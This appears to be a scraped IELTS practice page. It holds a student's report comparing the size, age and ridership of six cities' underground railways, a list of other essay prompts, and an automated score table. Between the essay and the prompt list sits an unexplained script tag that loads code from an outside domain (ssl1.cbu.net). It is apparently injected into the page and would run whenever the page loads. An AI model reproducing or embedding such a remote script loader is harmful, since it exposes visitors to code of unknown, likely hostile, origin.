The take below gives information about the underground railway systems in six cities.
Summarise the information by selecting and reporting the main features, and make comparisons where relevant.
Given is the table illustrating data related to the underground railway systems in six cities.
At first glance, in terms of size, London system ranks first being 394km, to be more specific, as twice large as the second biggest system situated in Paris, which is 199km. Those systems are followed by the subway systems of Tokyo, Washington DC, Los Angeles and Kyoto, who have relatively 155, 126, 28 and 11km of routes. When it comes to the number of annual passengers, London, Paris and Tokyo systems are significantly ahead of the systems in Washington DC, Kyoto and Los Angeles. (Accordingly 775mln, 1191mln and 1927mln clients vs. 144mln, 45mln and 50mln clients).
It is also visible that, the oldest underground railway system belongs to London (1863), while the youngest one is located on Los Angeles (2001). At that point, Paris (1900), Tokyo (1927), Washington (1976) and Kyoto (1981) systems hold middle positions.
To sum it up, taking all the information into account, it can be concluded that, older subway systems are both larger and busier in comparison with the younger ones.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- The graph below shows demand for electricity in England during typical day in a winter and summer. The pie chart shows how electricity is used in average English home. 63
- In many countries schools have severe problems with student behavior What do you think are the causes of this What solutions can you suggest 70
- Universities should accept equal numbers of male and female students in every subject.To what extent do you agree or disagree? 63
- The tables and pie chart show in percentage terms of the results of a survey of a new shopping complex in Auckland New Zealand 74
- The pie charts below show units of electricity production by fuel source in Australia and France in 1980 and 2000.Summarise the information by selecting and reporting the main features, and make comparisons where relevant. 77
Attribute Value Ideal
Score: 7.5 out of 9
Category: Very Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 8 10
No. of Words: 180 200
No. of Characters: 864 1000
No. of Different Words: 113 100
Fourth Root of Number of Words: 3.663 4.0
Average Word Length: 4.8 4.6
Word Length SD: 2.414 2.4
No. of Words greater than 5 chars: 62 60
No. of Words greater than 6 chars: 41 50
No. of Words greater than 7 chars: 18 40
No. of Words greater than 8 chars: 14 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 22.5 21.0
Sentence Length SD: 6.69 7.5
Use of Discourse Markers (%): 0.375 0.12
Sentence-Text Coherence: 0.418 0.35
Sentence-Para Coherence: 0.692 0.50
Sentence-Sentence Coherence: 0.05 0.07
Number of Paragraphs: 4 4